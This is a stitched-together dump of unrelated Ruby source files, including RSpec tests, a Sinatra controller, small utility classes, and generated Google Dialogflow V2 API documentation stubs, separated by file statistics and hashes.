end super(message, dataset, PackageModel) end end end end
32.506173
98
0.636536
bb07ad53b529dc35a955e8aa681abe204e246683
1,086
require 'spec_helper' describe Quill::Command do describe "being built" do it "takes a command string and an execution context to run in" do context = stub_everything("Execution Context") command = Quill::Command.build "QUIT\n", context command.should be_kind_of Quill::Command command.name.should == "QUIT" command.arguments.should be_empty command.execution_context.should == context end end describe "executing the command" do it "throws an exception when the execution context doesn't support the command" do context = stub_everything("Execution Context") command = Quill::Command.build "THINGY A B\n", context lambda { command.execute }.should raise_error Quill::Command::NoSuchCommand end it "executes the command in the execution context" do context = stub_everything("Execution Context", :supports_command? => true) command = Quill::Command.build "THINGY A B\n", context context.expects(:run).once.with("THINGY", "A", "B") command.execute end end end
33.9375
86
0.690608
01d60aa48ecb4215510253cb2f87da2c5a8210ca
665
require 'spec_helper' require 'utils/numeric' describe String do before do @int = '123' @float = '-123.567' @alpha = 'hello' @nan = '4ha444.6' end context "when checking if it is numeric" do it "should detect integers" do @int.should be_integer @float.should_not be_integer end it "should detect floats" do @float.should be_numeric @int.should be_numeric end it "should detect words" do @alpha.should_not be_integer @alpha.should_not be_numeric end it "should detect non-numbers" do @nan.should_not be_integer @nan.should_not be_numeric end end end
20.151515
45
0.640602
1c47b7546c1d766281287d60409ad2e9af3f148a
444
module Knife class PartialSearch class FakeNode < Hash def name self['name'] end def chef_environment self['chef_environment'] end def run_list self['run_list'].join(', ') end def [](key) super(key.to_s) end def kind_of?(klass) if klass.to_s == 'Chef::Node' true else super end end end end end
15.857143
37
0.493243
d59af8562ef661a6d219f40e9479d904d55e7af8
268
module Gifts class TableBase extend Forwardable def_delegators :table, :count, :records, :select, :size def initialize(database) @db = database define_schema end protected def table Groonga[table_name] end end end
14.105263
59
0.645522
f8a5d7527aa97947c0a645cec39e68237ec7d134
294
class UsersController < ApplicationController get '/home' do redirect '/login' if !logged_in? @user = current_user @rec_plants = @user.recent_plants @overdue_plants = @user.overdue_plants @fert_overdue_plants = @user.fert_overdue_plants erb :'/users/home' end end
22.615385
52
0.710884
bfa6d496d0d61fb7f6c2e0e0e2f1c3d755b999c8
1,820
## Copyright (c) 2015 SONATA-NFV, 2017 5GTANGO [, ANY ADDITIONAL AFFILIATION] ## ALL RIGHTS RESERVED. ## ## Licensed under the Apache License, Version 2.0 (the "License"); ## you may not use this file except in compliance with the License. ## You may obtain a copy of the License at ## ## http://www.apache.org/licenses/LICENSE-2.0 ## ## Unless required by applicable law or agreed to in writing, software ## distributed under the License is distributed on an "AS IS" BASIS, ## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ## See the License for the specific language governing permissions and ## limitations under the License. ## ## Neither the name of the SONATA-NFV, 5GTANGO [, ANY ADDITIONAL AFFILIATION] ## nor the names of its contributors may be used to endorse or promote ## products derived from this software without specific prior written ## permission. ## ## This work has been performed in the framework of the SONATA project, ## funded by the European Commission under Grant number 671517 through ## the Horizon 2020 and 5G-PPP programmes. The authors would like to ## acknowledge the contributions of their colleagues of the SONATA ## partner consortium (www.sonata-nfv.eu). ## ## This work has been performed in the framework of the 5GTANGO project, ## funded by the European Commission under Grant number 761493 through ## the Horizon 2020 and 5G-PPP programmes. The authors would like to ## acknowledge the contributions of their colleagues of the 5GTANGO ## partner consortium (www.5gtango.eu). # encoding: utf-8 # frozen_string_literal: true require_relative '../../spec_helper' require 'securerandom' require 'json' require 'tng/gtk/utils' RSpec.describe Tng::Gtk::Utils do it "has a version number" do expect(Tng::Gtk::Utils::VERSION).not_to be nil end end
41.363636
77
0.757692
0334f8f8ef3f187d942fe52ffa88b0d59f8263a1
35,253
# frozen_string_literal: true # Copyright 2021 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Auto-generated by gapic-generator-ruby. DO NOT EDIT! module Google module Cloud module Dialogflow module V2 # Represents a conversation participant (human agent, virtual agent, end-user). # @!attribute [rw] name # @return [::String] # Optional. The unique identifier of this participant. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/participants/<Participant ID>`. # @!attribute [rw] role # @return [::Google::Cloud::Dialogflow::V2::Participant::Role] # Immutable. The role this participant plays in the conversation. This field must be set # during participant creation and is then immutable. # @!attribute [rw] sip_recording_media_label # @return [::String] # Optional. Label applied to streams representing this participant in SIPREC # XML metadata and SDP. This is used to assign transcriptions from that # media stream to this participant. This field can be updated. class Participant include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods # Enumeration of the roles a participant can play in a conversation. module Role # Participant role not set. ROLE_UNSPECIFIED = 0 # Participant is a human agent. HUMAN_AGENT = 1 # Participant is an automated agent, such as a Dialogflow agent. AUTOMATED_AGENT = 2 # Participant is an end user that has called or chatted with # Dialogflow services. END_USER = 3 end end # Represents a message posted into a conversation. # @!attribute [rw] name # @return [::String] # The unique identifier of the message. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/messages/<Message ID>`. # @!attribute [rw] content # @return [::String] # Required. The message content. # @!attribute [rw] language_code # @return [::String] # Optional. The message language. # This should be a [BCP-47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt) # language tag. Example: "en-US". # @!attribute [r] participant # @return [::String] # Output only. The participant that sends this message. # @!attribute [r] participant_role # @return [::Google::Cloud::Dialogflow::V2::Participant::Role] # Output only. The role of the participant. # @!attribute [r] create_time # @return [::Google::Protobuf::Timestamp] # Output only. The time when the message was created. # @!attribute [r] message_annotation # @return [::Google::Cloud::Dialogflow::V2::MessageAnnotation] # Output only. The annotation for the message. class Message include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#create_participant Participants.CreateParticipant}. # @!attribute [rw] parent # @return [::String] # Required. Resource identifier of the conversation adding the participant. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>`. # @!attribute [rw] participant # @return [::Google::Cloud::Dialogflow::V2::Participant] # Required. The participant to create. class CreateParticipantRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#get_participant Participants.GetParticipant}. # @!attribute [rw] name # @return [::String] # Required. The name of the participant. Format: # `projects/<Project ID>/locations/<Location ID>/conversations/<Conversation # ID>/participants/<Participant ID>`. class GetParticipantRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#list_participants Participants.ListParticipants}. # @!attribute [rw] parent # @return [::String] # Required. The conversation to list all participants from. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>`. # @!attribute [rw] page_size # @return [::Integer] # Optional. The maximum number of items to return in a single page. By # default 100 and at most 1000. # @!attribute [rw] page_token # @return [::String] # Optional. The next_page_token value returned from a previous list request. class ListParticipantsRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The response message for {::Google::Cloud::Dialogflow::V2::Participants::Client#list_participants Participants.ListParticipants}. # @!attribute [rw] participants # @return [::Array<::Google::Cloud::Dialogflow::V2::Participant>] # The list of participants. There is a maximum number of items # returned based on the page_size field in the request. # @!attribute [rw] next_page_token # @return [::String] # Token to retrieve the next page of results or empty if there are no # more results in the list. class ListParticipantsResponse include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#update_participant Participants.UpdateParticipant}. # @!attribute [rw] participant # @return [::Google::Cloud::Dialogflow::V2::Participant] # Required. The participant to update. # @!attribute [rw] update_mask # @return [::Google::Protobuf::FieldMask] # Required. The mask to specify which fields to update. class UpdateParticipantRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#analyze_content Participants.AnalyzeContent}. # @!attribute [rw] participant # @return [::String] # Required. The name of the participant this text comes from. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/participants/<Participant ID>`. # @!attribute [rw] text_input # @return [::Google::Cloud::Dialogflow::V2::TextInput] # The natural language text to be processed. # @!attribute [rw] audio_input # @return [::Google::Cloud::Dialogflow::V2::AudioInput] # The natural language speech audio to be processed. # @!attribute [rw] event_input # @return [::Google::Cloud::Dialogflow::V2::EventInput] # An input event to send to Dialogflow. # @!attribute [rw] reply_audio_config # @return [::Google::Cloud::Dialogflow::V2::OutputAudioConfig] # Speech synthesis configuration. # The speech synthesis settings for a virtual agent that may be configured # for the associated conversation profile are not used when calling # AnalyzeContent. If this configuration is not supplied, speech synthesis # is disabled. # @!attribute [rw] query_params # @return [::Google::Cloud::Dialogflow::V2::QueryParameters] # Parameters for a Dialogflow virtual-agent query. # @!attribute [rw] request_id # @return [::String] # A unique identifier for this request. Restricted to 36 ASCII characters. # A random UUID is recommended. # This request is only idempotent if a `request_id` is provided. class AnalyzeContentRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The message in the response that indicates the parameters of DTMF. # @!attribute [rw] accepts_dtmf_input # @return [::Boolean] # Indicates whether DTMF input can be handled in the next request. class DtmfParameters include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The response message for {::Google::Cloud::Dialogflow::V2::Participants::Client#analyze_content Participants.AnalyzeContent}. # @!attribute [rw] reply_text # @return [::String] # The output text content. # This field is set if the automated agent responded with text to show to # the user. # @!attribute [rw] reply_audio # @return [::Google::Cloud::Dialogflow::V2::OutputAudio] # The audio data bytes encoded as specified in the request. # This field is set if: # # - `reply_audio_config` was specified in the request, or # - The automated agent responded with audio to play to the user. In such # case, `reply_audio.config` contains settings used to synthesize the # speech. # # In some scenarios, multiple output audio fields may be present in the # response structure. In these cases, only the top-most-level audio output # has content. # @!attribute [rw] automated_agent_reply # @return [::Google::Cloud::Dialogflow::V2::AutomatedAgentReply] # Only set if a Dialogflow automated agent has responded. # Note that: [AutomatedAgentReply.detect_intent_response.output_audio][] # and [AutomatedAgentReply.detect_intent_response.output_audio_config][] # are always empty, use {::Google::Cloud::Dialogflow::V2::AnalyzeContentResponse#reply_audio reply_audio} instead. # @!attribute [rw] message # @return [::Google::Cloud::Dialogflow::V2::Message] # Message analyzed by CCAI. # @!attribute [rw] human_agent_suggestion_results # @return [::Array<::Google::Cloud::Dialogflow::V2::SuggestionResult>] # The suggestions for most recent human agent. The order is the same as # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig::SuggestionConfig#feature_configs HumanAgentAssistantConfig.SuggestionConfig.feature_configs} of # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig#human_agent_suggestion_config HumanAgentAssistantConfig.human_agent_suggestion_config}. # @!attribute [rw] end_user_suggestion_results # @return [::Array<::Google::Cloud::Dialogflow::V2::SuggestionResult>] # The suggestions for end user. The order is the same as # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig::SuggestionConfig#feature_configs HumanAgentAssistantConfig.SuggestionConfig.feature_configs} of # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig#end_user_suggestion_config HumanAgentAssistantConfig.end_user_suggestion_config}. # @!attribute [rw] dtmf_parameters # @return [::Google::Cloud::Dialogflow::V2::DtmfParameters] # Indicates the parameters of DTMF. class AnalyzeContentResponse include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The top-level message sent by the client to the # {::Google::Cloud::Dialogflow::V2::Participants::Client#streaming_analyze_content Participants.StreamingAnalyzeContent} method. # # Multiple request messages should be sent in order: # # 1. The first message must contain # {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#participant participant}, # [config][google.cloud.dialogflow.v2.StreamingAnalyzeContentRequest.config] and optionally # {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#query_params query_params}. If you want # to receive an audio response, it should also contain # {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#reply_audio_config reply_audio_config}. # The message must not contain # [input][google.cloud.dialogflow.v2.StreamingAnalyzeContentRequest.input]. # # 2. If [config][google.cloud.dialogflow.v2.StreamingAnalyzeContentRequest.config] in the first message # was set to {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#audio_config audio_config}, # all subsequent messages must contain # {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#input_audio input_audio} to continue # with Speech recognition. # However, note that: # # * Dialogflow will bill you for the audio so far. # * Dialogflow discards all Speech recognition results in favor of the # text input. # # 3. If [StreamingAnalyzeContentRequest.config][google.cloud.dialogflow.v2.StreamingAnalyzeContentRequest.config] in the first message was set # to {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#text_config StreamingAnalyzeContentRequest.text_config}, then the second message # must contain only {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentRequest#input_text input_text}. # Moreover, you must not send more than two messages. # # After you sent all input, you must half-close or abort the request stream. # @!attribute [rw] participant # @return [::String] # Required. The name of the participant this text comes from. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/participants/<Participant ID>`. # @!attribute [rw] audio_config # @return [::Google::Cloud::Dialogflow::V2::InputAudioConfig] # Instructs the speech recognizer how to process the speech audio. # @!attribute [rw] text_config # @return [::Google::Cloud::Dialogflow::V2::InputTextConfig] # The natural language text to be processed. # @!attribute [rw] reply_audio_config # @return [::Google::Cloud::Dialogflow::V2::OutputAudioConfig] # Speech synthesis configuration. # The speech synthesis settings for a virtual agent that may be configured # for the associated conversation profile are not used when calling # StreamingAnalyzeContent. If this configuration is not supplied, speech # synthesis is disabled. # @!attribute [rw] input_audio # @return [::String] # The input audio content to be recognized. Must be sent if `audio_config` # is set in the first message. The complete audio over all streaming # messages must not exceed 1 minute. # @!attribute [rw] input_text # @return [::String] # The UTF-8 encoded natural language text to be processed. Must be sent if # `text_config` is set in the first message. Text length must not exceed # 256 bytes. The `input_text` field can be only sent once. # @!attribute [rw] input_dtmf # @return [::Google::Cloud::Dialogflow::V2::TelephonyDtmfEvents] # The DTMF digits used to invoke intent and fill in parameter value. # # This input is ignored if the previous response indicated that DTMF input # is not accepted. # @!attribute [rw] query_params # @return [::Google::Cloud::Dialogflow::V2::QueryParameters] # Parameters for a Dialogflow virtual-agent query. class StreamingAnalyzeContentRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The top-level message returned from the `StreamingAnalyzeContent` method. # # Multiple response messages can be returned in order: # # 1. If the input was set to streaming audio, the first one or more messages # contain `recognition_result`. Each `recognition_result` represents a more # complete transcript of what the user said. The last `recognition_result` # has `is_final` set to `true`. # # 2. The next message contains `reply_text` and optionally `reply_audio` # returned by an agent. This message may also contain # `automated_agent_reply`. # @!attribute [rw] recognition_result # @return [::Google::Cloud::Dialogflow::V2::StreamingRecognitionResult] # The result of speech recognition. # @!attribute [rw] reply_text # @return [::String] # The output text content. # This field is set if an automated agent responded with a text for the user. # @!attribute [rw] reply_audio # @return [::Google::Cloud::Dialogflow::V2::OutputAudio] # The audio data bytes encoded as specified in the request. # This field is set if: # # - The `reply_audio_config` field is specified in the request. # - The automated agent, which this output comes from, responded with audio. # In such case, the `reply_audio.config` field contains settings used to # synthesize the speech. # # In some scenarios, multiple output audio fields may be present in the # response structure. In these cases, only the top-most-level audio output # has content. # @!attribute [rw] automated_agent_reply # @return [::Google::Cloud::Dialogflow::V2::AutomatedAgentReply] # Only set if a Dialogflow automated agent has responded. # Note that: [AutomatedAgentReply.detect_intent_response.output_audio][] # and [AutomatedAgentReply.detect_intent_response.output_audio_config][] # are always empty, use {::Google::Cloud::Dialogflow::V2::StreamingAnalyzeContentResponse#reply_audio reply_audio} instead. # @!attribute [rw] message # @return [::Google::Cloud::Dialogflow::V2::Message] # Message analyzed by CCAI. # @!attribute [rw] human_agent_suggestion_results # @return [::Array<::Google::Cloud::Dialogflow::V2::SuggestionResult>] # The suggestions for most recent human agent. The order is the same as # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig::SuggestionConfig#feature_configs HumanAgentAssistantConfig.SuggestionConfig.feature_configs} of # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig#human_agent_suggestion_config HumanAgentAssistantConfig.human_agent_suggestion_config}. # @!attribute [rw] end_user_suggestion_results # @return [::Array<::Google::Cloud::Dialogflow::V2::SuggestionResult>] # The suggestions for end user. The order is the same as # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig::SuggestionConfig#feature_configs HumanAgentAssistantConfig.SuggestionConfig.feature_configs} of # {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantConfig#end_user_suggestion_config HumanAgentAssistantConfig.end_user_suggestion_config}. # @!attribute [rw] dtmf_parameters # @return [::Google::Cloud::Dialogflow::V2::DtmfParameters] # Indicates the parameters of DTMF. class StreamingAnalyzeContentResponse include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#suggest_articles Participants.SuggestArticles}. # @!attribute [rw] parent # @return [::String] # Required. The name of the participant to fetch suggestion for. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/participants/<Participant ID>`. # @!attribute [rw] latest_message # @return [::String] # The name of the latest conversation message to compile suggestion # for. If empty, it will be the latest message of the conversation. # # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/messages/<Message ID>`. # @!attribute [rw] context_size # @return [::Integer] # Max number of messages prior to and including # {::Google::Cloud::Dialogflow::V2::SuggestArticlesRequest#latest_message latest_message} to use as context # when compiling the suggestion. By default 20 and at most 50. class SuggestArticlesRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The response message for {::Google::Cloud::Dialogflow::V2::Participants::Client#suggest_articles Participants.SuggestArticles}. # @!attribute [rw] article_answers # @return [::Array<::Google::Cloud::Dialogflow::V2::ArticleAnswer>] # Articles ordered by score in descending order. # @!attribute [rw] latest_message # @return [::String] # The name of the latest conversation message used to compile # suggestion for. # # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/messages/<Message ID>`. # @!attribute [rw] context_size # @return [::Integer] # Number of messages prior to and including # {::Google::Cloud::Dialogflow::V2::SuggestArticlesResponse#latest_message latest_message} to compile the # suggestion. It may be smaller than the # {::Google::Cloud::Dialogflow::V2::SuggestArticlesRequest#context_size SuggestArticlesRequest.context_size} field in the request if there # aren't that many messages in the conversation. class SuggestArticlesResponse include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#suggest_faq_answers Participants.SuggestFaqAnswers}. # @!attribute [rw] parent # @return [::String] # Required. The name of the participant to fetch suggestion for. # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/participants/<Participant ID>`. # @!attribute [rw] latest_message # @return [::String] # The name of the latest conversation message to compile suggestion # for. If empty, it will be the latest message of the conversation. # # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/messages/<Message ID>`. # @!attribute [rw] context_size # @return [::Integer] # Max number of messages prior to and including # [latest_message] to use as context when compiling the # suggestion. By default 20 and at most 50. class SuggestFaqAnswersRequest include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # The request message for {::Google::Cloud::Dialogflow::V2::Participants::Client#suggest_faq_answers Participants.SuggestFaqAnswers}. # @!attribute [rw] faq_answers # @return [::Array<::Google::Cloud::Dialogflow::V2::FaqAnswer>] # Answers extracted from FAQ documents. # @!attribute [rw] latest_message # @return [::String] # The name of the latest conversation message used to compile # suggestion for. # # Format: `projects/<Project ID>/locations/<Location # ID>/conversations/<Conversation ID>/messages/<Message ID>`. # @!attribute [rw] context_size # @return [::Integer] # Number of messages prior to and including # {::Google::Cloud::Dialogflow::V2::SuggestFaqAnswersResponse#latest_message latest_message} to compile the # suggestion. It may be smaller than the # {::Google::Cloud::Dialogflow::V2::SuggestFaqAnswersRequest#context_size SuggestFaqAnswersRequest.context_size} field in the request if there # aren't that many messages in the conversation. class SuggestFaqAnswersResponse include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents the natural language speech audio to be processed. # @!attribute [rw] config # @return [::Google::Cloud::Dialogflow::V2::InputAudioConfig] # Required. Instructs the speech recognizer how to process the speech audio. # @!attribute [rw] audio # @return [::String] # Required. The natural language speech audio to be processed. # A single request can contain up to 1 minute of speech audio data. # The transcribed text cannot contain more than 256 bytes. class AudioInput include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents the natural language speech audio to be played to the end user. # @!attribute [rw] config # @return [::Google::Cloud::Dialogflow::V2::OutputAudioConfig] # Instructs the speech synthesizer how to generate the speech # audio. # @!attribute [rw] audio # @return [::String] # The natural language speech audio. class OutputAudio include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents a response from an automated agent. # @!attribute [rw] detect_intent_response # @return [::Google::Cloud::Dialogflow::V2::DetectIntentResponse] # Response of the Dialogflow {::Google::Cloud::Dialogflow::V2::Sessions::Client#detect_intent Sessions.DetectIntent} call. class AutomatedAgentReply include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents article answer. # @!attribute [rw] title # @return [::String] # The article title. # @!attribute [rw] uri # @return [::String] # The article URI. # @!attribute [rw] snippets # @return [::Array<::String>] # Article snippets. # @!attribute [rw] confidence # @return [::Float] # Article match confidence. # The system's confidence score that this article is a good match for this # conversation, as a value from 0.0 (completely uncertain) to 1.0 # (completely certain). # @!attribute [rw] metadata # @return [::Google::Protobuf::Map{::String => ::String}] # A map that contains metadata about the answer and the # document from which it originates. # @!attribute [rw] answer_record # @return [::String] # The name of answer record, in the format of # "projects/<Project ID>/locations/<Location ID>/answerRecords/<Answer Record # ID>" class ArticleAnswer include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods # @!attribute [rw] key # @return [::String] # @!attribute [rw] value # @return [::String] class MetadataEntry include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end end # Represents answer from "frequently asked questions". # @!attribute [rw] answer # @return [::String] # The piece of text from the `source` knowledge base document. # @!attribute [rw] confidence # @return [::Float] # The system's confidence score that this Knowledge answer is a good match # for this conversational query, range from 0.0 (completely uncertain) # to 1.0 (completely certain). # @!attribute [rw] question # @return [::String] # The corresponding FAQ question. # @!attribute [rw] source # @return [::String] # Indicates which Knowledge Document this answer was extracted # from. # Format: `projects/<Project ID>/locations/<Location # ID>/agent/knowledgeBases/<Knowledge Base ID>/documents/<Document ID>`. # @!attribute [rw] metadata # @return [::Google::Protobuf::Map{::String => ::String}] # A map that contains metadata about the answer and the # document from which it originates. # @!attribute [rw] answer_record # @return [::String] # The name of answer record, in the format of # "projects/<Project ID>/locations/<Location ID>/answerRecords/<Answer Record # ID>" class FaqAnswer include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods # @!attribute [rw] key # @return [::String] # @!attribute [rw] value # @return [::String] class MetadataEntry include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end end # One response of different type of suggestion response which is used in # the response of {::Google::Cloud::Dialogflow::V2::Participants::Client#analyze_content Participants.AnalyzeContent} and # {::Google::Cloud::Dialogflow::V2::Participants::Client#analyze_content Participants.AnalyzeContent}, as well as {::Google::Cloud::Dialogflow::V2::HumanAgentAssistantEvent HumanAgentAssistantEvent}. # @!attribute [rw] error # @return [::Google::Rpc::Status] # Error status if the request failed. # @!attribute [rw] suggest_articles_response # @return [::Google::Cloud::Dialogflow::V2::SuggestArticlesResponse] # SuggestArticlesResponse if request is for ARTICLE_SUGGESTION. # @!attribute [rw] suggest_faq_answers_response # @return [::Google::Cloud::Dialogflow::V2::SuggestFaqAnswersResponse] # SuggestFaqAnswersResponse if request is for FAQ_ANSWER. class SuggestionResult include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Defines the language used in the input text. # @!attribute [rw] language_code # @return [::String] # Required. The language of this conversational query. See [Language # Support](https://cloud.google.com/dialogflow/docs/reference/language) # for a list of the currently supported language codes. class InputTextConfig include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents a part of a message possibly annotated with an entity. The part # can be an entity or purely a part of the message between two entities or # message start/end. # @!attribute [rw] text # @return [::String] # A part of a message possibly annotated with an entity. # @!attribute [rw] entity_type # @return [::String] # The [Dialogflow system entity # type](https://cloud.google.com/dialogflow/docs/reference/system-entities) # of this message part. If this is empty, Dialogflow could not annotate the # phrase part with a system entity. # @!attribute [rw] formatted_value # @return [::Google::Protobuf::Value] # The [Dialogflow system entity formatted value # ](https://cloud.google.com/dialogflow/docs/reference/system-entities) of # this message part. For example for a system entity of type # `@sys.unit-currency`, this may contain: # <pre> # { # "amount": 5, # "currency": "USD" # } # </pre> class AnnotatedMessagePart include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end # Represents the result of annotation for the message. # @!attribute [rw] parts # @return [::Array<::Google::Cloud::Dialogflow::V2::AnnotatedMessagePart>] # The collection of annotated message parts ordered by their # position in the message. You can recover the annotated message by # concatenating [AnnotatedMessagePart.text]. # @!attribute [rw] contain_entities # @return [::Boolean] # Indicates whether the text message contains entities. class MessageAnnotation include ::Google::Protobuf::MessageExts extend ::Google::Protobuf::MessageExts::ClassMethods end end end end end
53.091867
207
0.633393
b9e592a194f49fb371f6ee6e468a8976781ff6a6
179
class PlanSerializer < ActiveModel::Serializer attributes :id, :name, :plan_type, :city, :published, :color, :timeframes, :user_id has_many :timeframes belongs_to :user end
29.833333
85
0.75419
268d34a4191f910fd597a57a79fa8cb7a45e9fa3
342
module VCAP::CloudController module V3 class CreateServiceCredentialBindingJobActor def display_name 'service_bindings.create' end def resource_type 'service_credential_binding' end def get_resource(resource_id) ServiceBinding.first(guid: resource_id) end end end end
19
48
0.681287
f7f93668ec8e543ee239e3822c4aa022503911ce
319
# This file acts as the environment require_relative "./uniquely_you/version" require_relative './uniquely_you/cli' require_relative './uniquely_you/api' require_relative './uniquely_you/bag' require_relative './uniquely_you/product' require 'pry' require 'httparty' require 'word_wrap/core_ext' require 'word_wrap'
22.785714
41
0.802508
0359a82d6028b227ab4a52d0f5ad5d5ef87a0e55
4,516
require_relative 'app_helpers_test_base' class TipTest < AppHelpersTestBase def self.hex_prefix 'Qd4' end include TrafficLightTipHelper test 'D52', 'traffic light tip for individual kata does not have avatar-image' do in_new_kata do |kata| files = kata.files stdout = file("Expected: 42\nActual: 54") stderr = file('assert failed') status = 4 kata.ran_tests(1, files, time.now, duration, stdout, stderr, status, 'red') filename = 'hiker.rb' hiker_rb = kata.files[filename]['content'] files[filename] = file(hiker_rb.sub('9','7')) stdout = file('All tests passed') stderr = file('') status = 0 kata.ran_tests(2, files, time.now, duration, stdout, stderr, status, 'green') events = kata.events was_files = files_for(events, 1) now_files = files_for(events, now_index=2) diff = differ.diff(kata.id, was_files, now_files) expected = '<table>' + '<tr>' + "<td><span class='traffic-light-count green'>#{now_index}</span></td>" + "<td><img src='/traffic-light/image/green_predicted_none.png' class='traffic-light-diff-tip-traffic-light-image'></td>" + '</tr>' + '</table>' + '<table>' + '<tr>' + "<td><div class='traffic-light-diff-tip-line-count-deleted some button'>1</div></td>" + "<td><div class='traffic-light-diff-tip-line-count-added some button'>1</div></td>" + "<td>&nbsp;hiker.rb</td>" + '</tr>' + '</table>' actual = traffic_light_tip_html(diff, kata.avatar_index, events, now_index) assert_equal expected, actual end end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - test 'D53', 'traffic light tip for kata in a group does have an avatar-image' do in_new_group do |group| kata = group.join files = kata.files stdout = file("Expected: 42\nActual: 54") stderr = file('assert failed') status = 4 kata.ran_tests(1, files, time.now, duration, stdout, stderr, status, 'red') filename = 'hiker.rb' hiker_rb = kata.files[filename]['content'] files[filename] = file(hiker_rb.sub('9','7')) stdout = file('All tests passed') stderr = file('') status = 0 kata.ran_tests(2, files, time.now, duration, stdout, stderr, status, 'green') events = kata.events was_files = files_for(events, 1) now_files = files_for(events, now_index=2) diff = differ.diff(kata.id, was_files, now_files) expected = '<table>' + '<tr>' + "<td><img src='/avatar/image/#{kata.avatar_index}' class='traffic-light-diff-tip-avatar-image'></td>" + "<td><span class='traffic-light-count green'>#{now_index}</span></td>" + "<td><img src='/traffic-light/image/green_predicted_none.png' class='traffic-light-diff-tip-traffic-light-image'></td>" + '</tr>' + '</table>' + '<table>' + '<tr>' + "<td><div class='traffic-light-diff-tip-line-count-deleted some button'>1</div></td>" + "<td><div class='traffic-light-diff-tip-line-count-added some button'>1</div></td>" + "<td>&nbsp;hiker.rb</td>" + '</tr>' + '</table>' actual = traffic_light_tip_html(diff, kata.avatar_index, kata.events, now_index) assert_equal expected, actual end end # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - test 'D54', 'traffic light tip for creation event (index==0) is...' do in_new_group do |group| kata = group.join files = kata.files stdout = file("Expected: 42\nActual: 54") stderr = file('assert failed') status = 4 kata.ran_tests(1, files, time.now, duration, stdout, stderr, status, 'red') events = kata.events was_files = 